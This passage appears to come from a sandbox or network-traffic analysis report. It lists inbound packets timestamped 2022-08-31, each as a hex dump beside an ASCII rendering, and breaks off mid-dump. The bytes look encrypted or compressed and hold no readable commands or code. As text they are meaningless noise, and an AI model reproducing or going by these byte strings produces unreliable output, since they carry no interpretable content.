2022-08-31 12:29:00 UTC	2599	IN	Data Raw: 10 9f 9a 51 b8 1d 62 54 78 12 28 a1 3e 2e 9f ff 60 fc 7b 8a 75 0b 3d 4b c2 2d 41 90 20 06 79 b9 db b5 e9 d4 4b 73 fd 05 85 f7 ab 25 53 9f cb 19 da 9f ff c2 39 5e d1 7e 1e a9 cc fe 0e 15 a9 d1 12 98 9d 12 b2 2a a0 66 26 25 c2 1e 79 2d f2 c5 62 03 6a 5e c8 7f cc 7a b2 1f ef 95 28 cc e0 8c 29 c3 6e f7 8d 81 34 c5 93 84 c9 1f ab 98 6a 5d f8 33 93 89 0d d1 9e 02 33 f8 f2 ca a8 3d ee 50 eb 9a 08 6c 16 d4 e9 a8 52 43 6f 82 ec 7e df 8c 80 08 21 dd 43 3f 63 32 99 2d 82 e2 07 1d b3 42 d9 9e 1c c5 69 a1 ff 0c e1 ae f5 10 52 35 79 a4 9f 40 68 b8 28 cd b0 32 e7 cd d4 84 84 33 8e 15 17 a0 1d dd 51 a3 3d f3 c3 32 04 de 75 32 8b 07 78 c6 fe df 96 a6 e1 b7 df 21 78 92 59 fc 29 eb e8 d3 53 e2 bb 14 39 82 12 b9 1c 1f 0c f5 a5 30 ed ee 2f 1d 92 f6 07 bc e2 6e 4f 96 cb 55 39 Data Ascii: QbTx(>.`{u=K-A yKs%S9^~*f&%y-bj^z()n4j]33=PlRCo~!C?c2-BiR5y@h(23Q=2u2x!xY)S90/nOU9
2022-08-31 12:29:00 UTC	2615	IN	Data Raw: 82 5c be ac c5 a5 25 cf f4 1f ea 93 9d ca 85 3d 1e 7a e8 e7 8a c6 ea 5a 73 6d b7 cb f1 d3 fa 37 04 bc 1d 68 6e 76 2b 62 3a b8 03 87 e9 43 e1 a0 9a cf 72 de 07 5e 87 52 72 dc 6f b4 0d 56 36 25 9c 88 78 f5 7e 8e b9 87 ce 67 fb bd f2 6c 93 f9 85 7e 08 98 67 be 52 17 97 a7 22 49 03 bd a2 72 70 43 b6 6d 94 1c 01 70 b6 75 bd a5 d8 63 01 96 2d 4f fb 51 14 ab 03 81 32 24 7e e4 e8 51 14 75 f2 40 67 59 2c bc 99 7b 8d 93 b6 8a 7e 0f 26 cb 94 77 69 d8 8c 99 b0 b0 e6 b6 fd 8e 67 a6 ef 95 31 f1 50 22 4f 63 59 88 ed e0 b0 2a 46 49 bb 89 0a b9 25 16 32 0d 01 08 05 73 4d 0f 9e 5f 84 73 f0 1f 36 16 7a 17 6e 6a 10 41 21 8d 9a 7d 1a ed 1d 89 35 80 be 18 dd 7a 08 3c 8a ac 88 a0 1d 67 24 cd 43 74 4c 57 51 1b e0 58 57 ea 71 3f 22 0c 6c d5 fe 7d 79 92 02 fe fb d0 eb 4e de 2e 01 Data Ascii: \%=zZsm7hnv+b:Cr^RroV6%x~gl~gR"IrpCmpuc-OQ2$~Qu@gY,{~&wig1P"OcY*FI%2sM_s6znjA!}5z<g$CtLWQXWq?"l}yN.
2022-08-31 12:29:00 UTC	2631	IN	Data Raw: 6a 72 c0 d9 6e f9 d5 79 f8 2b e9 08 ff d4 3b a3 df 46 52 32 25 0b 80 27 44 2d 89 b8 3d c8 4d 54 cf 9f f0 d5 9a 2e 00 22 ec 64 37 db 40 33 8c e8 88 4c d3 a7 7e fc bd 5d 69 89 92 82 f4 d0 36 82 80 9b 5a 63 b4 72 9f b4 51 65 7f 50 91 1e cb fe ea 9b 73 19 42 4c 1c 4c f2 ba bd 33 6a 8d 24 c3 34 3d 8e 76 91 36 f7 0d 05 0d cb 8b e1 fc da cf 8a 3b c8 47 0a d1 1f 5a fa e5 df 6c de 2b 7b 42 d2 e3 2b 33 18 d7 49 c3 c8 a9 fe 61 38 0b ec 75 c3 74 01 53 3c 0c 78 bb 47 da 38 72 d4 b6 58 ce 30 92 2a d7 44 44 93 76 d7 bd 15 0e 93 15 c0 da 38 22 cf a6 da 96 ad db d1 4a 99 de 48 a6 56 fa 77 cd d0 f1 96 a6 fa e5 84 f5 3b 53 ba 36 92 bd 82 7c 7a 35 15 0c d4 91 59 6d ff 7a 9b f1 2b 0a 9d 9c 83 0c 17 16 0b b4 fe 48 3e bf 5b 37 68 56 9d a7 c9 48 07 9c f6 57 ed 70 b4 4e e4 4a e7 Data Ascii: jrny+;FR2%'D-=MT."d7@3L~]i6ZcrQePsBLL3j$4=v6;GZl+{B+3Ia8utS<xG8rX0*DDv8"JHVw;S6\|z5Ymz+H>[7hVHWpNJ
2022-08-31 12:29:00 UTC	2647	IN	Data Raw: 10 fe a4 4c 9f 28 d7 b0 a4 75 f7 40 55 47 11 f8 b6 a7 4b de b0 7b 77 05 4f 65 7f a4 e7 c7 bb 5e 91 5d 81 12 82 16 e7 dd dd 30 3a 8c 1f 18 99 e3 f1 18 65 97 9a 94 e2 d3 c4 e0 7b 29 ee 3d 83 92 21 86 c5 c5 be 69 6c e9 f8 95 8c 28 b1 04 89 3d 6a 10 6f 7f fe 49 ba f2 c4 ff 9b 96 2a ec 53 7b e1 54 82 de 5e 14 66 72 18 38 8c ab 46 7c 50 6f 82 25 40 71 11 06 6f 77 28 b0 ff 2a 1c 8c 92 c7 1d 9d 81 f5 84 01 00 93 ee 1f 35 46 6a 4e 1d 53 cc 94 14 2d 88 0e 51 d6 a1 fc fc d9 4c a8 e2 79 70 c0 55 53 e5 dc 63 30 9a 89 e3 cd 08 c0 8f 57 97 48 75 b7 e1 76 19 bd f1 2f 66 f2 6c 89 6a b1 a7 ca 3c 16 3d 7e e5 2d ad 1c 11 0b 3f 79 bb 5e 47 6e ad 1d fd 06 f9 35 4b 78 58 a5 7b 61 89 a1 82 20 e8 2b f0 42 9a e4 04 28 83 61 8c 0f 2e b9 f7 ae b4 65 bc 02 3b 80 f8 94 3d 14 db 6f 67 Data Ascii: L(u@UGK{wOe^]0:e{)=!il(=joIS{T^fr8F\|Po%@qow(5FjNS-QLypUSc0WHuv/flj<=~-?y^Gn5KxX{a +B(a.e;=og
2022-08-31 12:29:00 UTC	2663	IN	Data Raw: 9d e5 16 bf 86 c2 30 fc 2a 5c 0c a2 1f 31 00 33 bd 6d 9e 03 f3 b8 78 5f ae ef b0 2c 30 c6 63 7a 30 26 a1 1b 6e 0c 5c 2d 39 63 3d d2 1d 42 90 6e c7 ac c8 c5 34 60 2b 29 cd 9a 89 c4 28 7f 30 51 12 24 a8 5b 75 c5 78 c8 f7 fa a0 aa 09 ee 68 a0 39 13 7f 9d 35 c5 9c df ad 9e 4d e4 44 5a 8d b5 84 1c 26 ab 28 4d 8a 3a 5d bb 4d d8 8c 09 15 17 d1 ca 59 ae fc 20 2c cd 7f fc 9e 39 87 cb 49 4b 1f 78 40 99 bb d5 62 fc e6 6a f2 9a e2 53 b4 60 e5 30 29 2e f7 1b c8 61 96 04 10 05 57 dc e9 8f aa da 5d 1c 2e 35 4b 94 6d 23 43 1e 7f 7b 40 2f 51 69 f5 cc 92 52 76 75 05 01 09 12 37 e8 f9 5e 30 05 c3 fd 6a bc 22 bb cb 17 46 29 70 e3 19 96 c9 27 de 99 9c fc c9 26 fa 0f 7b 7b 00 0a e5 95 f3 2c 60 f9 98 09 aa 0b b6 ac 3a bd b8 2c 44 c0 bd 4a 66 52 a8 24 8e 3e c4 28 59 53 0d 8c a0 Data Ascii: 0*\13mx_,0cz0&n\-9c=Bn4`+)(0Q$[uxh95MDZ&(M:]MY ,9IKx@bjS`0).aW].5Km#C{@/QiRvu7^0j"F)p'&{{,`:,DJfR$>(YS
2022-08-31 12:29:00 UTC	2679	IN	Data Raw: 32 47 8a c8 ba 89 88 7f 70 d1 fb 7c 1d b1 4f ea b4 ab cf 2a e9 fa 7a 7b bf bc 91 26 82 bd cb 0f f8 37 b0 e8 16 a8 95 d1 c1 e3 0e ad 85 c1 76 93 0c 0c 74 08 7e 8d 4e 19 18 1c 79 3d 15 4f 16 51 93 71 ac 7d 93 c0 7d 9e 6e 4a 57 ba 1a 82 8a a8 f2 6a 05 62 23 c1 c9 a6 99 a6 46 2e 4c ca 99 d1 e3 8e 6c 0a 20 50 ad a2 19 1b 13 43 bb af 30 13 a7 cf 24 43 48 e9 63 4f 4d 4e 19 b0 50 06 bf 3f 15 b0 a9 94 dd c7 73 78 d0 b1 01 ff 3b 88 47 91 f5 79 e7 02 53 96 61 cd fa 26 59 ea 9b 89 8f 4f 37 a5 52 46 a8 03 31 28 e8 25 46 42 e0 52 c7 79 e1 5f 1d 42 aa b1 83 c3 29 a6 15 f9 5e 58 f5 c2 c0 fd 6f ab 6a 50 f1 d3 6f c8 e2 3e e6 0f 37 f8 e0 1f d1 fe 00 84 f9 41 53 b8 e5 71 55 4a d7 3d 6a 81 2e 5d d9 46 5c c0 97 b3 78 a2 d7 64 19 ee e3 7b 41 2d d5 72 4b c0 5a 78 68 9e ff 63 fc Data Ascii: 2Gp\|O*z{&7vt~Ny=OQq}}nJWjb#F.Ll PC0$CHcOMNP?sx;GySa&YO7RF1(%FBRy_B)^XojPo>7ASqUJ=j.]F\xd{A-rKZxhc
2022-08-31 12:29:00 UTC	2695	IN	Data Raw: 2e 2c c0 2c 90 1e ca 09 12 8a f5 92 b6 87 2d d6 64 47 48 e1 5a c0 0f 38 15 68 72 65 16 41 7b c8 11 64 a4 64 57 57 29 eb 92 70 20 bf 03 e1 6c 6f 36 ba 3d 09 a7 63 fd 93 97 50 e1 60 e0 72 7f be 8a 3d 89 09 8f 16 38 87 ce af 45 08 62 68 5d 0a 24 a5 53 13 3e eb 9e e1 2e c9 fa 80 80 83 6b 02 66 79 76 ca b1 18 6c 74 73 cf 69 6f 71 a0 25 4a d1 9b d8 91 42 85 39 58 77 42 f7 ed 79 99 95 3e 69 e9 8f 53 15 8a 87 f4 a9 07 fe e1 09 d5 62 f0 cf 69 18 ea 36 bc ec e8 60 8e 86 9f ca 90 37 11 fe 7a bc d1 1a 0a ec 35 51 3c 36 2e 02 5d 38 7f 8b 85 e2 b9 c1 0e 4f f0 a7 79 c0 3f 36 6e 2f 0a 84 3d 9f b3 72 13 51 12 7c a8 9d dd 2d f3 20 93 9b ac d4 ff 36 7f 34 ba bc 75 ea 29 4c d6 3f 4b d1 87 a7 ff dc 09 a0 33 14 cd 45 e3 e4 97 cd f5 c8 b4 8d 51 e3 b7 a9 17 39 aa 1d ad a2 02 46 Data Ascii: .,,-dGHZ8hreA{ddWW)p lo6=cP`r=8Ebh]$S>.kfyvltsioq%JB9XwBy>iSbi6`7z5Q<6.]8Oy?6n/=rQ\|- 64u)L?K3EQ9F
2022-08-31 12:29:00 UTC	2711	IN	Data Raw: e4 bb 05 4a 30 76 55 1b 91 1b 08 5d a0 8a a2 40 f4 19 d3 d7 48 21 f6 ba e6 31 38 4e 80 37 db bb 58 15 b2 30 29 f9 de fb 4c 21 39 ee 4b 6d dc de de 48 7a 67 6d 26 1d 9a 33 57 6a 5e a8 cf ce ac ea 8a f5 b1 37 06 16 7b 4f 0a 33 19 a2 8c df da f9 46 c6 eb 8c cd 23 48 63 8b 16 ad 41 93 a0 14 b2 9e 78 26 fa 57 a0 08 b4 64 fa ce 8c a0 25 04 a2 ad b3 ff 9f f1 d4 73 9c 46 17 5b f2 91 6b bc 45 87 a3 9a 7a 30 2b 73 81 a1 8c f2 50 0a 22 c5 58 11 e5 4a 8d bb bb 17 e8 b6 ac 2e fc f8 2c d4 74 59 ff 09 d6 28 11 f1 1a 19 be 5f 90 d8 69 1a 70 50 08 f1 87 12 05 83 9e eb 4d 9c 7a ff 92 13 20 c8 32 1e 4b 36 98 79 1a 69 ab 40 fd 99 ae f3 7f 90 bd d8 9b 0a 1c 09 14 eb 31 34 60 ac 31 9d 97 ce 3f c5 be 06 8f 77 ff 6f da 5e 88 6f f0 b6 18 5f 5b d1 03 fd 88 18 39 a4 85 96 60 59 5d Data Ascii: J0vU]@H!18N7X0)L!9KmHzgm&3Wj^7{O3F#HcAx&Wd%sF[kEz0+sP"XJ.,tY(_ipPMz 2K6yi@14`1?wo^o_[9`Y]
2022-08-31 12:29:00 UTC	2727	IN	Data Raw: 14 f7 2f 88 c2 99 ac 81 03 78 df 67 f6 90 91 8e 93 b5 c7 be 63 f4 44 0d d0 fc 4a 13 e8 7f b0 f4 2e e6 1a 79 d7 f0 da 66 b5 05 ba 4f 26 e8 fd 93 bd 93 f1 3d b1 62 95 dd b4 bc 6d 16 d0 69 e0 81 88 69 b2 fc c8 8e ba c6 0d de cf c0 21 cf dc f9 bb 93 d6 d3 ee c5 2c 4e e7 8c 6a 5a 0a b1 5e 4a 8d 7e 22 62 86 6c f2 4d 17 c3 70 b0 ce d1 54 43 79 fb ba 2e 1a 9c 55 11 a5 cf fc dc 7a c8 42 72 50 c2 0d 8d 61 17 7b 60 d1 cd 8e 04 62 ab ca 09 9c 06 19 22 52 b2 d1 1a 3c df 94 4c 6a b7 a6 9a d5 97 b1 89 df ad ea d6 9a 2a 88 1a 54 3e 4b 8a d6 b3 21 9a d8 87 19 cd 56 57 59 44 b5 fd e9 f7 48 bd e0 b0 55 5c f0 7c dd 6f 5c 76 61 81 55 b1 22 3d de 71 47 79 ce 27 22 4b 2f b5 f3 ca ac 5c f6 ab 0c f4 b9 26 c9 2f 5c 56 4d 9b f9 69 98 75 45 a4 9d d2 44 26 e1 19 c5 28 8f 6e 7c a8 87 Data Ascii: /xgcDJ.yfO&=bmii!,NjZ^J~"blMpTCy.UzBrPa{`b"R<Lj*T>K!VWYDHU\\|o\vaU"=qGy'"K/\&/\VMiuED&(n\|
2022-08-31 12:29:00 UTC	2743	IN	Data Raw: 6f 58 8d 6b a3 96 2e e9 00 35 85 64 22 0c f6 f8 2e bd be 35 39 9b df 42 ee d3 a2 55 cf e3 29 b2 91 2c 5c 6f b7 8a 40 bf a0 cb 51 f2 0c 41 fc 4b 7e ec 39 c4 5e 0f 6c 6c 3e 0a 68 fb 4d 86 1d 1b ff 18 96 07 58 30 0d 68 bb 52 e4 3a 72 86 ff a0 76 78 32 83 19 37 12 80 b5 e3 13 05 6a 78 51 2e e0 c0 bb 0b 35 51 7b d7 c6 a3 4c 55 9e b8 55 72 80 6c eb 3c 7d 32 67 62 cc 5a e7 a6 e9 82 3d b2 74 62 f5 4a db df 39 96 1e d1 0a 5d 8a a8 38 ab 0d 78 14 c6 40 34 eb 25 f0 16 86 38 ed c8 26 c7 6c 51 33 f8 7a 54 8d 35 73 29 92 1e 0d 82 28 b8 07 19 35 f7 3f dc 25 dc 59 74 b2 b0 23 9c 98 ef 3a 28 73 95 ec 04 77 d0 c5 dc 78 5b f6 46 c7 48 24 4a 02 37 81 a3 53 1b 3c 96 b9 9a 80 61 05 8a fb c8 c0 0e b5 e7 b0 ed 8b 47 1b 7b 80 f6 56 4b 37 48 bf 0e 8b d8 5b a6 1f be f0 e3 ca 4c f2 Data Ascii: oXk.5d".59BU),\o@QAK~9^ll>hMX0hR:rvx27jxQ.5Q{LUUrl<}2gbZ=tbJ9]8x@4%8&lQ3zT5s)(5?%Yt#:(swx[FH$J7S<aG{VK7H[L
2022-08-31 12:29:00 UTC	2759	IN	Data Raw: 18 7f 3b de e9 d3 17 31 1b 7d f9 56 2c a0 a4 50 ab 7e 42 16 c8 00 be a6 3f 1f c5 b8 f2 6b 37 c0 77 52 3e 78 fe db af 84 52 44 af ba b3 c7 ab 60 15 ea 1a 8f c7 58 35 2a de dd 11 a6 4c ed b1 ff 7a 0b 16 66 75 fc 6a d0 50 c5 11 92 0b c6 f5 ce 3d 17 d9 f3 0f 83 ba 21 2a 79 86 dd c4 af 1e a9 60 87 db 8c 2c 66 86 bb e5 13 e9 9b 85 b9 78 ac 46 22 5f 26 99 f7 33 fc 61 86 03 d5 32 2f 61 b8 c6 fc bb e5 7e d7 de 3b b4 1b 8e 69 d3 94 67 41 4f d9 3e 55 80 93 46 18 5c 1d a2 f2 8a 58 76 1d b6 47 53 09 2d f3 f2 96 5b 23 35 ae 56 48 54 c8 a9 e7 b7 63 53 eb 43 9a 62 eb 2a 73 97 16 06 17 ab c2 8f d5 c6 f9 b4 5e a7 79 3f b4 94 86 9d b9 e8 fc 6b dc f0 72 f2 be 00 ef de 03 a9 5c 25 04 5b a4 57 77 d5 bb 8c 32 19 db a6 57 cd a9 24 e0 e3 31 f8 71 0a bc 4b 44 32 7f 44 8f eb ec 13 Data Ascii: ;1}V,P~B?k7wR>xRD`X5LzfujP=!y`,fxF"_&3a2/a~;igAO>UF\XvGS-[#5VHTcSCb*s^y?kr\%[Ww2W$1qKD2D
2022-08-31 12:29:00 UTC	2775	IN	Data Raw: 8c fa 7d 1f 49 2d db 0d 6f 9c 5b f7 c9 63 a6 20 d3 91 78 46 87 d5 c2 3a bf 03 89 b9 5b 31 f3 4f e4 e1 c4 14 6c 71 f7 b6 cb a1 6a 98 ea 2a 9e e1 c6 e9 68 1c 60 b5 13 e4 b1 44 d4 43 9d 9a 71 dd 2e 49 50 20 c8 ce 44 2d af bb 9d fd d8 13 97 a6 ad 58 07 ae 02 2c 72 1c 47 50 c6 c0 c2 31 ef b0 82 53 1d c1 7c 0b e7 1c 00 91 09 6d 75 86 48 88 74 49 26 ff 43 5d 6e dc 0e 92 32 f9 63 b2 d9 da fe 7e 07 08 0c ed 1c 0b a6 18 65 8b dc 43 cb 81 d8 2d 80 03 78 c5 00 68 fc 4d b6 dc 30 d3 0a 5d 17 0b 6c 79 48 53 5c ff 95 f2 83 c4 9a 7b 13 db a3 57 b7 60 8b cd 28 06 cf 1b 60 58 a6 95 80 ca b9 27 25 a6 53 29 54 bf 83 18 94 2b da 44 86 88 95 24 74 cd fc ab 2f 89 9c 26 50 31 ea 2c 9a 23 a4 a3 9c 44 9f cd 55 60 f1 41 6a 44 c6 93 d0 72 3c ec 25 d7 26 77 a3 78 6d 1a 6e 1c 14 b6 d7 Data Ascii: }I-o[c xF:[1Olqj*h`DCq.IP D-X,rGP1S\|muHtI&C]n2c~eC-xhM0]lyHS\{W`(`X'%S)T+D$t/&P1,#DU`AjDr<%&wxmn
2022-08-31 12:29:00 UTC	2791	IN	Data Raw: ac 7e 70 fe da 05 9d 0a 04 6a 27 40 74 dc ef 8d 06 a5 2a fe ce 72 78 33 83 76 89 d5 01 28 02 58 0e e9 cc 45 75 1e 07 e1 61 38 4d 95 75 75 58 11 d7 49 b2 5f 96 ca 1e 8a 96 fc c5 36 04 77 09 7a 1e 68 c7 df 71 e8 5e 52 e1 52 36 d1 77 42 1d e1 ee fa 6d 6d ce 91 5d 25 4f 38 a2 64 d2 57 97 ec 6a fe e2 0f e7 d8 c0 00 fa fe 62 37 cd a7 bd 6a 28 37 0a 02 d7 c6 37 b2 9c a6 69 37 c7 12 a8 04 f1 0a d7 e2 ea f5 16 77 ea 8f 5a 2d bf 90 a0 63 51 d9 40 7c 0e 95 e3 44 2f 80 26 bc 0a be cd 23 08 a4 44 cb 36 f6 c4 62 76 2f f6 88 21 63 6a a2 04 1b c4 6b 64 25 1d 6d 7d 9d 9b ea 50 87 d0 c5 1a 0a d2 94 89 c5 5b 21 8e 92 75 4e 7f 42 34 fd 49 9d be c2 04 a8 44 ef 9d 29 fa fe e7 3c 14 66 17 d0 b4 cb 6c 2e 4e fa 04 40 67 45 3e 50 2e 92 ab 8c 86 a8 eb 18 50 a9 92 42 04 79 de 43 d9 Data Ascii: ~pj'@t*rx3v(XEua8MuuXI_6wzhq^RR6wBmm]%O8dWjb7j(77i7wZ-cQ@\|D/&#D6bv/!cjkd%m}P[!uNB4ID)<fl.N@gE>P.PByC
2022-08-31 12:29:00 UTC	2807	IN	Data Raw: 71 91 1d fd fe cf a8 1a e7 94 23 6a d8 d8 3c a0 13 40 74 5d 42 87 32 4f c3 3b aa da 04 89 27 21 28 05 97 f7 84 4d 86 b2 25 eb 08 07 98 b1 40 81 57 14 53 21 d5 65 f9 8b 20 0e 91 7b e6 d1 59 2c 6f f7 b0 e2 35 b4 a3 85 0e 30 6c 13 a5 ce 34 da 4b 8f c9 8a f4 3b fb d5 e2 96 44 ce 27 68 4b fc 7e 42 d3 8b bf 16 0e ee a1 e8 67 a8 04 3e 6c da d6 f1 79 f8 f3 d4 63 fa 39 a8 7d be 8e ae 6b 2d 4a 3c cb 37 2e f2 a8 ea 0c b3 e4 9b 98 e4 67 a3 8d 4d 3d 56 26 ff 27 0a 7a d3 b4 0b 37 b2 1c 4a 8d de 2c 38 7c d3 28 11 c5 6a 04 8b ad 50 4d 6c f0 e1 fc e1 61 5c a0 46 03 11 1e 0a e8 96 ba fb 3c 5a 08 77 8b 3a 8c e4 b5 e2 e4 0b 1b 8f 3e 8f 0b 9f 7e e4 73 55 e3 bf b6 57 15 21 75 66 7a c1 01 3d 05 c0 bb f5 c7 58 44 3d 12 c6 0f c7 c4 1f a8 33 fc 4c a9 39 12 df 01 18 f7 6b 6d 1f 66 Data Ascii: q#j<@t]B2O;'!(M%@WS!e {Y,o50l4K;D'hK~Bg>lyc9}k-J<7.gM=V&'z7J,8\|(jPMla\F<Zw:>~sUW!ufz=XD=3L9kmf
2022-08-31 12:29:00 UTC	2823	IN	Data Raw: d0 00 79 45 e4 fb 1c 3d 83 9e 9c 7e 09 f3 6f cf 6a 9a a3 6f bf f5 14 e8 94 95 ad 5f 75 30 ef e1 07 f7 ed 51 88 8a e0 e0 7f 1f 4b db 52 69 46 2f f5 51 ff 25 6f d4 39 82 f2 a1 e2 79 f4 54 ff 2e 9f 6f 2e 46 16 1f 4e cc 38 32 04 e4 03 40 35 e0 55 2a 8a 73 64 38 60 28 5c 2a 0d 0a e6 0a 75 ef c3 da 0d 4c 4c ef 12 4e 71 59 70 59 22 e6 dd 12 98 fb 59 9f 82 ad 83 de d2 9d fd 4b 26 b5 4f 64 b5 ea 69 f3 3f 24 5b 65 3b c9 5d ee e4 1c ab 83 3d 49 2a 60 6b ac 4f 49 fa 48 ae ee 5a 53 45 85 4b 3d eb 08 bf ba 41 f1 28 05 b2 a3 e2 03 40 b3 17 22 82 a8 da db 3e db a0 f4 5b 0a 21 16 8b 24 71 7a 03 97 bd e7 df f9 0a 6c d3 02 47 8e 02 10 87 7c 30 08 38 7a 9b 1b 39 8c 05 08 c4 29 39 95 3e 24 c9 f7 3c 20 85 00 5b 87 68 b9 d7 40 1d 9c 1f 56 c3 c1 48 b8 c1 bc 24 10 cb 3d 3b ca ae Data Ascii: yE=~ojo_u0QKRiF/Q%o9yT.o.FN82@5Usd8`(\uLLNqYpY"YK&Odi?$[e;]=I*`kOIHZSEK=A(@">[!$qzlG\|08z9)9>$< [h@VH$=;
2022-08-31 12:29:00 UTC	2839	IN	Data Raw: e9 a1 00 dc b2 cd 5a b2 68 c0 7c 52 71 d6 e8 e4 8d 50 75 22 d6 d6 0c 91 1c e2 74 1d 4a c5 89 98 d4 aa 05 a4 54 75 26 32 1f 16 a3 a7 96 21 1d 6d 84 01 b8 f2 8e 34 06 c7 e7 9e 9b 24 c0 21 ef 7a 46 2b 2f 57 4c 82 f7 07 82 d9 5b f6 0b ed 21 26 be c4 da df 82 15 91 34 9e b4 41 d5 ca 3e c7 19 0d 3e a1 b3 ca ae 9e 96 59 9b 38 6f 44 fc e7 35 9a e2 24 15 e5 63 f2 c0 e9 7d 9f bb 7f 45 c7 d7 85 76 95 d0 a0 53 1a 0e 0b 72 59 1d 17 11 97 e9 6c fe de b8 66 dc 7a bb ef ba 32 7d b6 a4 18 aa 16 89 38 ce 2f d6 94 3c 58 65 f8 14 43 6b 2e 64 c5 6c 11 4d f7 29 2f 70 54 6f 90 45 fa 61 82 41 59 98 bd 63 cd 4c 28 bd d6 1d 8c da 15 bf fe 00 c8 18 b5 35 53 27 dc f3 cd 1a b1 c2 30 88 f1 58 14 bf 16 aa 36 95 be 45 9a e2 ab 94 89 43 69 d1 81 d0 a3 6d fe 65 03 42 a8 be 86 c8 d9 70 39 Data Ascii: Zh\|RqPu"tJTu&2!m4$!zF+/WL[!&4A>>Y8oD5$c}EvSrYlfz2}8/<XeCk.dlM)/pToEaAYcL(5S'0X6ECimeBp9
2022-08-31 12:29:00 UTC	2855	IN	Data Raw: b5 d4 75 8d 79 d3 0c 6a 6a 09 12 ab 0e a3 22 21 17 bc c1 48 5f 41 5e 63 a1 99 f0 46 1e 9b 4c b9 0d ef 31 ad 6e 09 55 40 9b 98 21 ef 0f b5 ed e0 0a 99 54 a1 47 89 63 a3 7a bb fd 07 cc bf 98 29 26 70 42 22 fc c4 97 f0 53 94 9c a8 24 65 c7 87 21 85 7f 18 33 bf 21 3b 8d bb a3 50 15 29 78 8d ad 68 c9 58 2f 06 fd 5c 62 51 c7 78 da ee 5a f6 47 41 e1 63 76 da 36 be ac 75 14 18 eb 05 44 41 a6 0b f3 25 a6 c9 30 f8 b4 26 47 35 be e5 07 b2 8f 9e 9c cb 31 21 a2 0b 85 24 fd c9 86 9e fc 40 0c 88 a8 eb 97 70 0c e0 5c e1 80 4b ec b9 2d a7 5f 39 8e 84 07 df 26 35 15 f9 42 6c 9b ab ee 98 d0 32 6d b9 9c 9c 8b 5a fb e4 41 a0 ae 5e a4 7c 76 99 54 b7 38 2e 55 c8 e5 93 fb 70 6b cc 8f ac 10 80 4f b7 d4 25 d8 28 45 8e 34 ab e7 f0 86 ef d0 e6 b8 3d 62 b5 c0 35 44 9d e0 da 94 fd 74 Data Ascii: uyjj"!H_A^cFL1nU@!TGcz)&pB"S$e!3!;P)xhX/\bQxZGAcv6uDA%0&G51!$@p\K-_9&5Bl2mZA^\|vT8.UpkO%(E4=b5Dt
2022-08-31 12:29:00 UTC	2871	IN	Data Raw: 7c 0d e8 10 a3 d1 6a e3 cf 4e 8c ef d9 4f 18 03 32 f4 25 e8 e4 e5 b0 87 9b e5 4f 92 cf 54 88 b9 a9 61 54 f2 86 d0 1b 3e e3 a8 a3 00 bb 86 f1 72 88 f8 62 cd 10 a2 2c 07 0a 2f 4d 9c 0f 22 33 7c c2 93 43 be ae b3 7b 8e 6e ab 05 6c 5c ab df ee 9c ca 33 ed 37 85 1d 14 fc dc 1e 2c 9c 57 f3 6e 6e 16 d5 a7 f0 fa 5c f9 aa ab 77 dd e6 bf d9 3c a3 88 3d 3f 05 26 f7 ff 9b 47 19 26 c7 6c f8 3b 77 c7 0e ac 54 56 49 79 ec 4c fd 5c 66 84 94 f1 37 e1 19 83 ed 49 ed cd 2b 5b 15 fc 9d fe 90 de 61 0c 77 1f 28 79 04 61 02 74 91 61 51 2b 6b 48 1e 26 dc f9 e5 ee a0 4d bb eb 6f 89 2b 6b 1d 77 4c bc 43 3f 26 9c 17 45 2a e2 6f f9 91 01 91 d3 04 1d 6b 6e 42 70 c1 d7 9f 55 39 6d 26 d2 79 1a b7 f4 0c b4 b4 e8 24 64 35 a4 e7 61 b5 17 a4 9b 65 f1 0b 5f f7 22 38 60 55 af ac 02 13 fd 4e Data Ascii: \|jNO2%OTaT>rb,/M"3\|C{nl\37,Wnn\w<=?&G&l;wTVIyL\f7I+[aw(yataQ+kH&Mo+kwLC?&E*oknBpU9m&y$d5ae_"8`UN
2022-08-31 12:29:00 UTC	2887	IN	Data Raw: f4 85 a8 c7 10 cd ab 05 9c d4 33 7f 6b 17 e2 08 f4 7d a1 b9 72 c7 de 08 6f 7c 52 5e b2 a8 a4 1c 08 b8 ea 5d 61 45 4d 15 ba c5 e9 d5 24 63 27 f2 24 78 67 4f a0 3d c7 d5 13 d4 65 4c 85 ce a8 b1 b6 98 c1 a8 fe 4c 9e 48 dd 94 ea 2f d9 69 fe f9 a8 02 e7 51 d7 ce de 0c 61 36 f5 10 8a f0 b7 04 97 73 66 42 46 bc 42 d8 b9 3e 68 7d f9 40 32 6c 1d 00 91 73 92 35 09 46 2b f1 63 39 b9 29 45 03 d1 ae b1 4a 85 fb fd 89 b1 0b da 16 b2 a9 61 a6 ba aa 35 c2 d7 c6 ce e0 71 25 08 b3 4a de 30 96 af cc f2 6d 53 a1 fa 26 01 9b 26 a9 ae 1d 19 99 38 cb 10 dc 6a 01 9f 08 b1 ad 7c ef 57 2d a1 ec 9f 0f 68 0b ef d7 5a 40 07 34 8c 63 62 f9 89 6a 09 61 48 05 a8 a7 39 85 a2 4d 91 93 e2 bc 74 0b 81 43 80 6f 6e c6 68 db 06 94 94 f1 ab f3 00 fd c7 80 b6 1d 56 88 44 92 46 a8 bd 19 e9 97 8e Data Ascii: 3k}ro\|R^]aEM$c'$xgO=eLLH/iQa6sfBFB>h}@2ls5F+c9)EJa5q%J0mS&&8j\|W-hZ@4cbjaH9MtConhVDF
2022-08-31 12:29:00 UTC	2903	IN	Data Raw: 5c 08 c9 16 a7 b9 c2 df 93 78 3a 4a 98 48 4a 87 83 ae 31 7b e8 64 93 52 59 69 f6 ee db 55 f6 71 b3 3c f8 0b f4 d4 64 ab e9 ac a9 3b a8 2a 76 ae 79 8a cc 90 96 6a dc 4d c9 3d 7d 8b 81 a3 4c 40 d6 8c 07 96 00 0d 12 b7 e4 e5 b3 19 aa 3d c6 e4 57 58 07 f2 26 02 b5 b1 6c 84 cf 7e e0 b1 4c ec 08 4e 44 e5 3a b4 f3 24 ce ad 9a 01 1b 92 2c 5c 64 19 7c 48 20 e3 b6 06 58 1c 40 9e 91 06 ad 03 f0 9b f5 f3 3b 4d 99 b1 ac 48 bf a6 33 e2 36 33 9d 1e 34 c6 48 4a 47 f2 39 7a e8 df 4a 8d 57 47 9d 82 c1 4d 7f 6e f3 5f 5d bb e6 fe 7d 51 cb 2b c8 3e 55 7c 0c c0 ef 80 ca d0 68 65 89 4b 06 6b 7c 00 bb e6 de 8d df 55 54 ee 79 92 61 ef 28 05 e8 6f c6 69 2e 2c ee f5 aa 77 e5 da 56 48 c7 88 3e 82 f1 5c d6 40 e2 80 f2 a4 25 d7 0e bb 66 ce 74 91 7d 4a ad d4 0b 16 